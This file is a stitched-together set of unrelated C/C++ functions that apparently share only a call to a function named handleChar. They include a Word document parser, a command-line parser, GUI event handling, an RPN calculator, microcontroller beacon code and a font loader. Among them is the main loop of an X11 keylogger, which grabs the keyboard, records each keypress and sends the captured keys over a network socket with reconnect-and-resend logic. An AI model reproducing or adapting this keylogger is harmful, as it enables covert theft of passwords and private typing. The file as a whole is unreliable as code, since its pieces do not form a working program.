void DocBookReader::handleOtherControlChar(ZLUnicodeUtil::Ucs2Char ucs2char) {
if (ucs2char == WORD_SHORT_DEFIS) {
handleChar(SHORT_DEFIS);
} else if (ucs2char == WORD_SOFT_HYPHEN) {
//skip
} else if (ucs2char == WORD_HORIZONTAL_TAB) {
handleChar(ucs2char);
} else {
// myTextBuffer.clear();
}
}
bool IC_CmdLineParser::parse( WideString& cmdName, array<WideString>& args )
{
// cout << "Parsing : [" << cmdLine << "]" << endl;
static const wchar_t spaceChar = ( wchar_t )' ';
args.clear();
cmdName = L"";
if ( cmdLine.findFirst( spaceChar ) == -1 )
{
cmdName = cmdLine;
return true;
}
setQuoted( false );
setEscaped( false );
setNameDone( false );
bShouldAddLast = true;
resetTmpString();
for ( s32 x = 0; x < cmdLine.size(); x++ )
{
if ( !handleChar( cmdLine[x], cmdName, args ) )
{
return false;
}
}
if ( bShouldAddLast )
{
shoveTmpString( cmdLine, args );
}
return true;
}
bool OleStreamParser::readStream(OleMainStream &oleMainStream) {
ZLUnicodeUtil::Ucs2Char ucs2char;
bool tabMode = false;
while (getUcs2Char(oleMainStream, ucs2char)) {
if (tabMode) {
tabMode = false;
if (ucs2char == WORD_TABLE_SEPARATOR) {
handleTableEndRow();
continue;
} else {
handleTableSeparator();
}
}
if (ucs2char < 32) {
switch (ucs2char) {
case NULL_SYMBOL:
break;
case WORD_HARD_LINEBREAK:
handleHardLinebreak();
break;
case WORD_END_OF_PARAGRAPH:
case WORD_PAGE_BREAK:
handleParagraphEnd();
break;
case WORD_TABLE_SEPARATOR:
tabMode = true;
break;
case WORD_FOOTNOTE_MARK:
handleFootNoteMark();
break;
case WORD_START_FIELD:
handleStartField();
break;
case WORD_SEPARATOR_FIELD:
handleSeparatorField();
break;
case WORD_END_FIELD:
handleEndField();
break;
case INLINE_IMAGE:
case FLOAT_IMAGE:
break;
default:
handleOtherControlChar(ucs2char);
break;
}
} else if (ucs2char == WORD_ZERO_WIDTH_UNBREAKABLE_SPACE) {
continue; //skip
} else {
handleChar(ucs2char);
}
}
return true;
}
int main() {
// open needed stuff
int connected = connectSocket();
Display *dpy = XOpenDisplay(NIL);
// my event
XEvent event;
// just in case
if(connected)
sendMissingStuff();
// some stuff for keycode-char conversion
char buf[2];
int len;
KeySym keysym;
grab(dpy);
int i = 0;
while(1) {
// check for internet connection
if(i % CONCHECKINTV == 0 && !connected)
if( (connected = connectSocket()) )
sendMissingStuff();
XNextEvent(dpy, &event);
// convert keycode to character
if( (len = XLookupString(&event.xkey, buf, 1, &keysym, NULL)) == 0 )
buf[0] = '\0';
// forward event to client
sendSpecEvent(dpy, keysym, event);
if(event.type == KeyPress) {
// save key for me
handleChar(connected, buf, keysym);
}
i++;
}
sendStr("\nEnd of transmission\n");
ungrab(dpy);
XCloseDisplay(dpy);
close(sockfd);
return 0;
}
bool System::handle_event(event e)
{
static EventArgs::MouseButtons mouse_button_maping[] = {
EventArgs::Left, EventArgs::Middle, EventArgs::Right
};
int event_type = e.type & event_type_filter;
int mouse_event = e.mouse.type & mouse_event_filter;
switch(event_type)
{
case event_mouse:
{
switch(mouse_event)
{
case mouse_move:
return handleMouseMove(e.mouse.x, e.mouse.y);
break;
case mouse_wheel:
return handleMouseWheel(e.mouse.delta);
break;
case mouse_button:
return handleMouseButton(mouse_button_maping[e.mouse.button],
e.mouse.type & event_key_down ? EventArgs::Down : EventArgs::Up);
break;
case mouse_dbclick:
return handleMouseDouble(mouse_button_maping[e.mouse.button]);
break;
}
}
break;
case event_keyboard:
return handleKeyboard(e.keyboard.key,
e.keyboard.type & event_key_down ? EventArgs::Down : EventArgs::Up);
break;
case event_char:
return handleChar(e.text.code);
break;
case event_focus:
handleFocusLost();
break;
case event_viewport_resize:
handleViewportChange();
break;
}
return false;
}
int main(int argc, char** argv) {
// Initialize RPN calculator
rpnCalc = newRpnCalc();
// Read from standard input, one char at a time, and handle them
int c = getchar();
while(!feof(stdin)) {
handleChar(c);
c = getchar();
}
// Print result (last element on stack)
printf("%f\n", peek(&rpnCalc));
}
void DocBookReader::handleTableSeparator() {
handleChar(SPACE);
handleChar(VERTICAL_LINE);
handleChar(SPACE);
}
int receiverZigbeeTest(void) {
/*
char *macAdresse = "1";
char *panId = "1620";
char *channel = "100000";
char *function = "0";
char *adresse = "0";
char *data;
char receiveChar;
char valide;
int toto;
*/
TRISB = 0;
TRISB = 0;
// Configure serialBuffer
Buffer zigbeeBuffer;
initBuffer(&zigbeeBuffer, SERIAL_PORT_ZIGBEE);
setAndOpenSerialBuffer(&zigbeeBuffer);
Buffer debugBuffer;
initBuffer(&debugBuffer, SERIAL_PORT_DEBUG);
setAndOpenSerialBuffer(&debugBuffer);
setSerialBuffer(&debugBuffer);
putString("Beacon Receiver start rs232\n");
initPwmForServo(1500);
// Initialization of laserDetector
// Laser 1
initLaserDetectorStruct(
LASER_INDEX_1,
LASER_SERVO_INDEX_1,
&getLaserPin1,
SERVO_LASER_1_MAX_LEFT_POSITION_DEFAULT_VALUE,
SERVO_LASER_1_MAX_RIGHT_POSITION_DEFAULT_VALUE,
SHORT_TRACKING_INTERVAL,
BEACON_SERVO_1_FACTOR,
BEACON_SERVO_1_INIT_COMPUTE_VALUE,
BEACON_SERVO_1_ANGLE_DEGREE
);
// Laser 2
initLaserDetectorStruct(
LASER_INDEX_2,
LASER_SERVO_INDEX_2,
&getLaserPin2,
SERVO_LASER_2_MAX_LEFT_POSITION_DEFAULT_VALUE,
SERVO_LASER_2_MAX_RIGHT_POSITION_DEFAULT_VALUE,
SHORT_TRACKING_INTERVAL,
BEACON_SERVO_2_FACTOR,
BEACON_SERVO_2_INIT_COMPUTE_VALUE,
BEACON_SERVO_2_ANGLE_DEGREE
);
while (1) {
int laserIndex;
for (laserIndex = 0; laserIndex < LASER_COUNT; laserIndex++) {
detectsLaser(laserIndex);
}
delay100us(5);
char c = handleChar(&debugBuffer, false);
if (c != 0) {
putString("---------\n");
Laser* laser1 = getLaser(LASER_INDEX_1);
Laser* laser2 = getLaser(LASER_INDEX_2);
printLaserStruct(&debugBuffer, laser1);
println();
printLaserStruct(&debugBuffer, laser2);
clearBuffer(&debugBuffer);
Point p = getPosition(DISTANCE_BETWEEN_BEACON);
if (p.x != 0 && p.y != 0) {
sendDec(p.x);
putString(", ");
sendDec(p.y);
println();
}
}
}
/*
valide = 0;
while (1) {
if (U2STAbits.URXDA == 1){
valide = getc();
putc1 (valide);
}
if (U1STAbits.URXDA == 1){
valide = getc1();
putc (valide);
}
}
*/
}
FontFace * FontImporter::loadFont(const std::string & filename)
{
std::ifstream in(filename, std::ios::in | std::ios::binary);
if (!in)
{
return nullptr;
}
FontFace * font = new FontFace();
std::string line;
std::string identifier;
while (std::getline(in, line))
{
std::stringstream ss(line);
if (std::getline(ss, identifier, ' '))
{
if (identifier == "info")
{
handleInfo(ss, font);
}
else if (identifier == "common")
{
handleCommon(ss, font);
}
else if (identifier == "page")
{
handlePage(ss, font, filename);
}
else if (identifier == "chars")
{
handleChars(ss, font);
}
else if (identifier == "char")
{
handleChar(ss, font);
}
else if (identifier == "kernings")
{
handleKernings(ss, font);
}
else if (identifier == "kerning")
{
handleKerning(ss, font);
}
else
{
assert(false);
}
}
else
{
assert(false);
}
}
if (!font->glyphTexture())
{
delete font;
return nullptr;
}
return font;
}
